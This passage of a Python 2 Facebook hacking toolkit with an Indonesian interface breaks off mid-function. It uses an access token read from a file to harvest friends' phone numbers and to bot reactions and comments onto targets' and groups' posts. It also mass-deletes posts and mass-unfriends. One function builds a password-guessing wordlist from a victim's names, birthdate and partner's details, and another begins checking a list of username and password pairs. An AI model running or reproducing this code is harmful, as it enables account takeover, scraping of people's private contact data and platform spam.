raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1312 | grab() 1313 | 1314 | noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1315 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 1316 | a = json.loads(r.text) 1317 | no = open(noms, 'w') 1318 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1319 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1320 | for i in a['data']: 1321 | x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) 1322 | z = json.loads(x.text) 1323 | try: 1324 | hpfromteman.append(z['mobile_phone']) 1325 | no.write(z['mobile_phone'] + '\n') 1326 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] 1327 | print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] 1328 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1329 | except KeyError: 1330 | pass 1331 | 1332 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) 1333 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms 1334 | no.close() 1335 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1336 | grab() 1337 | except IOError: 1338 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1339 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1340 | grab() 1341 | except (KeyboardInterrupt, EOFError): 1342 | print '\x1b[1;91m[!] Terhenti' 1343 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1344 | grab() 1345 | except requests.exceptions.ConnectionError: 1346 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1347 | keluar() 1348 | 1349 | 1350 | def menu_bot(): 1351 | os.system('clear') 1352 | try: 1353 | toket = open('login.txt', 'r').read() 1354 | except IOError: 1355 | print '\x1b[1;91m[!] Token tidak ditemukan' 1356 | os.system('rm -rf login.txt') 1357 | time.sleep(1) 1358 | login() 1359 | 1360 | os.system('clear') 1361 | print logo 1362 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1363 | print '\x1b[1;37;40m1. Bot Reactions Target Post' 1364 | print '\x1b[1;37;40m2. Bot Reactions Grup Post' 1365 | print '\x1b[1;37;40m3. Bot Komen Target Post' 1366 | print '\x1b[1;37;40m4. Bot Komen Grup Post' 1367 | print '\x1b[1;37;40m5. Mass delete Post' 1368 | print '\x1b[1;37;40m6. Terima permintaan pertemanan' 1369 | print '\x1b[1;37;40m7. Hapus pertemanan' 1370 | print '\x1b[1;31;40m0. Kembali' 1371 | print 1372 | bot_pilih() 1373 | 1374 | 1375 | def bot_pilih(): 1376 | bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 1377 | if bots == '': 1378 | print '\x1b[1;91m[!] Jangan kosong' 1379 | bot_pilih() 1380 | else: 1381 | if bots == '1': 1382 | menu_react() 1383 | else: 1384 | if bots == '2': 1385 | grup_react() 1386 | else: 1387 | if bots == '3': 1388 | bot_komen() 1389 | else: 1390 | if bots == '4': 1391 | grup_komen() 1392 | else: 1393 | if bots == '5': 1394 | deletepost() 1395 | else: 1396 | if bots == '6': 1397 | accept() 1398 | else: 1399 | if bots == '7': 1400 | unfriend() 1401 | else: 1402 | if bots == '0': 1403 | menu() 1404 | else: 1405 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' 1406 | bot_pilih() 1407 | 1408 | 1409 | def menu_react(): 1410 | os.system('clear') 1411 | try: 1412 | toket = open('login.txt', 'r').read() 1413 | except IOError: 1414 | print '\x1b[1;91m[!] Token tidak ditemukan' 1415 | os.system('rm -rf login.txt') 1416 | time.sleep(1) 1417 | login() 1418 | 1419 | os.system('clear') 1420 | print logo 1421 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1422 | print '\x1b[1;37;40m1. \x1b[1;97mLike' 1423 | print '\x1b[1;37;40m2. \x1b[1;97mLove' 1424 | print '\x1b[1;37;40m3. \x1b[1;97mWow' 1425 | print '\x1b[1;37;40m4. \x1b[1;97mHaha' 1426 | print '\x1b[1;37;40m5. \x1b[1;97mSedih' 1427 | print '\x1b[1;37;40m6. \x1b[1;97mMarah' 1428 | print '\x1b[1;31;40m0. Kembali' 1429 | print 1430 | react_pilih() 1431 | 1432 | 1433 | def react_pilih(): 1434 | global tipe 1435 | aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 1436 | if aksi == '': 1437 | print '\x1b[1;91m[!] Jangan kosong' 1438 | react_pilih() 1439 | else: 1440 | if aksi == '1': 1441 | tipe = 'LIKE' 1442 | react() 1443 | else: 1444 | if aksi == '2': 1445 | tipe = 'LOVE' 1446 | react() 1447 | else: 1448 | if aksi == '3': 1449 | tipe = 'WOW' 1450 | react() 1451 | else: 1452 | if aksi == '4': 1453 | tipe = 'HAHA' 1454 | react() 1455 | else: 1456 | if aksi == '5': 1457 | tipe = 'SAD' 1458 | react() 1459 | else: 1460 | if aksi == '6': 1461 | tipe = 'ANGRY' 1462 | react() 1463 | else: 1464 | if aksi == '0': 1465 | menu_bot() 1466 | else: 1467 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' 1468 | react_pilih() 1469 | 1470 | 1471 | def react(): 1472 | os.system('clear') 1473 | try: 1474 | toket = open('login.txt', 'r').read() 1475 | except IOError: 1476 | print '\x1b[1;91m[!] Token tidak ditemukan' 1477 | os.system('rm -rf login.txt') 1478 | time.sleep(1) 1479 | login() 1480 | else: 1481 | os.system('clear') 1482 | print logo 1483 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1484 | ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') 1485 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1486 | try: 1487 | oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) 1488 | ah = json.loads(oh.text) 1489 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1490 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1491 | for a in ah['feed']['data']: 1492 | y = a['id'] 1493 | reaksi.append(y) 1494 | requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) 1495 | print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe 1496 | 1497 | print 1498 | print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) 1499 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1500 | menu_bot() 1501 | except KeyError: 1502 | print '\x1b[1;91m[!] ID Tidak ditemukan' 1503 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1504 | menu_bot() 1505 | 1506 | 1507 | def grup_react(): 1508 | os.system('clear') 1509 | try: 1510 | toket = open('login.txt', 'r').read() 1511 | except IOError: 1512 | print '\x1b[1;91m[!] Token tidak ditemukan' 1513 | os.system('rm -rf login.txt') 1514 | time.sleep(1) 1515 | login() 1516 | 1517 | os.system('clear') 1518 | print logo 1519 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1520 | print '\x1b[1;37;40m1. \x1b[1;97mLike' 1521 | print '\x1b[1;37;40m2. \x1b[1;97mLove' 1522 | print '\x1b[1;37;40m3. \x1b[1;97mWow' 1523 | print '\x1b[1;37;40m4. \x1b[1;97mHaha' 1524 | print '\x1b[1;37;40m5. \x1b[1;97mSedih' 1525 | print '\x1b[1;37;40m6. \x1b[1;97mMarah' 1526 | print '\x1b[1;31;40m0. Kembali' 1527 | print 1528 | reactg_pilih() 1529 | 1530 | 1531 | def reactg_pilih(): 1532 | global tipe 1533 | aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 1534 | if aksi == '': 1535 | print '\x1b[1;91m[!] Jangan kosong' 1536 | reactg_pilih() 1537 | else: 1538 | if aksi == '1': 1539 | tipe = 'LIKE' 1540 | reactg() 1541 | else: 1542 | if aksi == '2': 1543 | tipe = 'LOVE' 1544 | reactg() 1545 | else: 1546 | if aksi == '3': 1547 | tipe = 'WOW' 1548 | reactg() 1549 | else: 1550 | if aksi == '4': 1551 | tipe = 'HAHA' 1552 | reactg() 1553 | else: 1554 | if aksi == '5': 1555 | tipe = 'SAD' 1556 | reactg() 1557 | else: 1558 | if aksi == '6': 1559 | tipe = 'ANGRY' 1560 | reactg() 1561 | else: 1562 | if aksi == '0': 1563 | menu_bot() 1564 | else: 1565 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' 1566 | reactg_pilih() 1567 | 1568 | 1569 | def reactg(): 1570 | os.system('clear') 1571 | try: 1572 | toket = open('login.txt', 'r').read() 1573 | except IOError: 1574 | print '\x1b[1;91m[!] Token tidak ditemukan' 1575 | os.system('rm -rf login.txt') 1576 | time.sleep(1) 1577 | login() 1578 | else: 1579 | os.system('clear') 1580 | print logo 1581 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1582 | ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') 1583 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1584 | ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) 1585 | asw = json.loads(ah.text) 1586 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] 1587 | try: 1588 | oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) 1589 | ah = json.loads(oh.text) 1590 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1591 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1592 | for a in ah['feed']['data']: 1593 | y = a['id'] 1594 | reaksigrup.append(y) 1595 | requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) 1596 | print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe 1597 | 1598 | print 1599 | print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) 1600 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1601 | menu_bot() 1602 | except KeyError: 1603 | print '\x1b[1;91m[!] ID Tidak ditemukan' 1604 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1605 | menu_bot() 1606 | 1607 | 1608 | def bot_komen(): 1609 | os.system('clear') 1610 | try: 1611 | toket = open('login.txt', 'r').read() 1612 | except IOError: 1613 | print '\x1b[1;91m[!] Token tidak ditemukan' 1614 | os.system('rm -rf login.txt') 1615 | time.sleep(1) 1616 | login() 1617 | else: 1618 | os.system('clear') 1619 | print logo 1620 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1621 | print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" 1622 | ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') 1623 | km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') 1624 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1625 | km = km.replace('<>', '\n') 1626 | try: 1627 | p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) 1628 | a = json.loads(p.text) 1629 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1630 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1631 | for s in a['feed']['data']: 1632 | f = s['id'] 1633 | komen.append(f) 1634 | requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) 1635 | print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' 1636 | 1637 | print 1638 | print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) 1639 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1640 | menu_bot() 1641 | except KeyError: 1642 | print '\x1b[1;91m[!] ID Tidak ditemukan' 1643 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1644 | menu_bot() 1645 | 1646 | 1647 | def grup_komen(): 1648 | os.system('clear') 1649 | try: 1650 | toket = open('login.txt', 'r').read() 1651 | except IOError: 1652 | print '\x1b[1;91m[!] Token tidak ditemukan' 1653 | os.system('rm -rf login.txt') 1654 | time.sleep(1) 1655 | login() 1656 | else: 1657 | os.system('clear') 1658 | print logo 1659 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1660 | print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" 1661 | ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') 1662 | km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') 1663 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1664 | km = km.replace('<>', '\n') 1665 | try: 1666 | ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) 1667 | asw = json.loads(ah.text) 1668 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] 1669 | p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) 1670 | a = json.loads(p.text) 1671 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1672 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1673 | for s in a['feed']['data']: 1674 | f = s['id'] 1675 | komengrup.append(f) 1676 | requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) 1677 | print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' 1678 | 1679 | print 1680 | print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) 1681 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1682 | menu_bot() 1683 | except KeyError: 1684 | print '\x1b[1;91m[!] ID Tidak ditemukan' 1685 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1686 | menu_bot() 1687 | 1688 | 1689 | def deletepost(): 1690 | os.system('clear') 1691 | try: 1692 | toket = open('login.txt', 'r').read() 1693 | nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) 1694 | lol = json.loads(nam.text) 1695 | nama = lol['name'] 1696 | except IOError: 1697 | print '\x1b[1;91m[!] Token tidak ditemukan' 1698 | os.system('rm -rf login.txt') 1699 | time.sleep(1) 1700 | login() 1701 | 1702 | os.system('clear') 1703 | print logo 1704 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1705 | print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama 1706 | jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') 1707 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1708 | asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) 1709 | asus = json.loads(asu.text) 1710 | for p in asus['data']: 1711 | id = p['id'] 1712 | piro = 0 1713 | url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) 1714 | ok = json.loads(url.text) 1715 | try: 1716 | error = ok['error']['message'] 1717 | print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' 1718 | except TypeError: 1719 | print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' 1720 | piro += 1 1721 | except requests.exceptions.ConnectionError: 1722 | print '\x1b[1;91m[!] Koneksi Error' 1723 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1724 | menu_bot() 1725 | 1726 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 1727 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1728 | menu_bot() 1729 | 1730 | 1731 | def accept(): 1732 | os.system('clear') 1733 | try: 1734 | toket = open('login.txt', 'r').read() 1735 | except IOError: 1736 | print '\x1b[1;91m[!] Token tidak ditemukan' 1737 | os.system('rm -rf login.txt') 1738 | time.sleep(1) 1739 | login() 1740 | 1741 | os.system('clear') 1742 | print logo 1743 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1744 | limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') 1745 | r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) 1746 | teman = json.loads(r.text) 1747 | if '[]' in str(teman['data']): 1748 | print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' 1749 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1750 | menu_bot() 1751 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1752 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1753 | for i in teman['data']: 1754 | gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) 1755 | a = json.loads(gas.text) 1756 | if 'error' in str(a): 1757 | print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] 1758 | print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' 1759 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1760 | else: 1761 | print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] 1762 | print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' 1763 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1764 | 1765 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 1766 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1767 | menu_bot() 1768 | 1769 | 1770 | def unfriend(): 1771 | os.system('clear') 1772 | try: 1773 | toket = open('login.txt', 'r').read() 1774 | except IOError: 1775 | print '\x1b[1;91m[!] Token tidak ditemukan' 1776 | os.system('rm -rf login.txt') 1777 | time.sleep(1) 1778 | login() 1779 | else: 1780 | os.system('clear') 1781 | print logo 1782 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1783 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1784 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1785 | print '\x1b[1;97mStop \x1b[1;91mCTRL+C' 1786 | print 1787 | try: 1788 | pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 1789 | cok = json.loads(pek.text) 1790 | for i in cok['data']: 1791 | nama = i['name'] 1792 | id = i['id'] 1793 | requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) 1794 | print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id 1795 | 1796 | except IndexError: 1797 | pass 1798 | except KeyboardInterrupt: 1799 | print '\x1b[1;91m[!] Terhenti' 1800 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1801 | menu_bot() 1802 | 1803 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 1804 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1805 | menu_bot() 1806 | 1807 | 1808 | def lain(): 1809 | os.system('clear') 1810 | try: 1811 | toket = open('login.txt', 'r').read() 1812 | except IOError: 1813 | print '\x1b[1;91m[!] Token tidak ditemukan' 1814 | os.system('rm -rf login.txt') 1815 | time.sleep(1) 1816 | login() 1817 | 1818 | os.system('clear') 1819 | print logo 1820 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1821 | print '\x1b[1;37;40m1. Buat postingan' 1822 | print '\x1b[1;37;40m2. Buat Wordlist' 1823 | print '\x1b[1;37;40m3. Akun Checker' 1824 | print '\x1b[1;37;40m4. Lihat daftar grup' 1825 | print '\x1b[1;37;40m5. Profile Guard' 1826 | print 1827 | print '\x1b[1;97m ->Coming soon<-' 1828 | print 1829 | print '\x1b[1;31;40m0. Kembali' 1830 | print 1831 | pilih_lain() 1832 | 1833 | 1834 | def pilih_lain(): 1835 | other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 1836 | if other == '': 1837 | print '\x1b[1;91m[!] Jangan kosong' 1838 | pilih_lain() 1839 | else: 1840 | if other == '1': 1841 | status() 1842 | else: 1843 | if other == '2': 1844 | wordlist() 1845 | else: 1846 | if other == '3': 1847 | check_akun() 1848 | else: 1849 | if other == '4': 1850 | grupsaya() 1851 | else: 1852 | if other == '5': 1853 | guard() 1854 | else: 1855 | if other == '0': 1856 | menu() 1857 | else: 1858 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' 1859 | pilih_lain() 1860 | 1861 | 1862 | def status(): 1863 | os.system('clear') 1864 | try: 1865 | toket = open('login.txt', 'r').read() 1866 | except IOError: 1867 | print '\x1b[1;91m[!] Token tidak ditemukan' 1868 | os.system('rm -rf login.txt') 1869 | time.sleep(1) 1870 | login() 1871 | 1872 | os.system('clear') 1873 | print logo 1874 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1875 | msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') 1876 | if msg == '': 1877 | print '\x1b[1;91m[!] Jangan kosong' 1878 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1879 | lain() 1880 | else: 1881 | res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) 1882 | op = json.loads(res.text) 1883 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1884 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1885 | print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] 1886 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1887 | lain() 1888 | 1889 | 1890 | def wordlist(): 1891 | os.system('clear') 1892 | try: 1893 | toket = open('login.txt', 'r').read() 1894 | except IOError: 1895 | print '\x1b[1;91m[!] Token tidak ditemukan' 1896 | os.system('rm -rf login.txt') 1897 | time.sleep(1) 1898 | login() 1899 | else: 1900 | try: 1901 | os.system('clear') 1902 | print logo 1903 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1904 | print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' 1905 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1906 | a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') 1907 | file = open(a + '.txt', 'w') 1908 | b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') 1909 | c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') 1910 | d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') 1911 | e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') 1912 | f = e[0:2] 1913 | g = e[2:4] 1914 | h = e[4:] 1915 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1916 | print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' 1917 | i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') 1918 | j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') 1919 | k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') 1920 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1921 | l = k[0:2] 1922 | m = k[2:4] 1923 | n = k[4:] 1924 | file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) 1925 | wg = 0 1926 | while wg < 100: 1927 | wg = wg + 1 1928 | file.write(a + str(wg) + '\n') 1929 | 1930 | en = 0 1931 | while en < 100: 1932 | en = en + 1 1933 | file.write(i + str(en) + '\n') 1934 | 1935 | word = 0 1936 | while word < 100: 1937 | word = word + 1 1938 | file.write(d + str(word) + '\n') 1939 | 1940 | gen = 0 1941 | while gen < 100: 1942 | gen = gen + 1 1943 | file.write(j + str(gen) + '\n') 1944 | 1945 | file.close() 1946 | time.sleep(1.5) 1947 | print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a 1948 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1949 | lain() 1950 | except IOError as e: 1951 | print '\x1b[1;91m[!] Gagal membuat file' 1952 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1953 | lain() 1954 | 1955 | 1956 | def check_akun(): 1957 | os.system('clear') 1958 | try: 1959 | toket = open('login.txt', 'r').read() 1960 | except IOError: 1961 | print '\x1b[1;91m[!] Token tidak ditemukan' 1962 | os.system('rm -rf login.txt') 1963 | time.sleep(1) 1964 | login() 1965 | else: 1966 | os.system('clear') 1967 | print logo 1968 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1969 | print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' 1970 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1971 | live = [] 1972 | cek = [] 1973 | die = [] 1974 | try: 1975 | file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') 1976 | list = open(file, 'r').readlines() 1977 | except IOError: 1978 | print '\x1b[1;91m[!] File tidak ditemukan' 1979 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1980 | lain() 1981 | 1982 | pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah 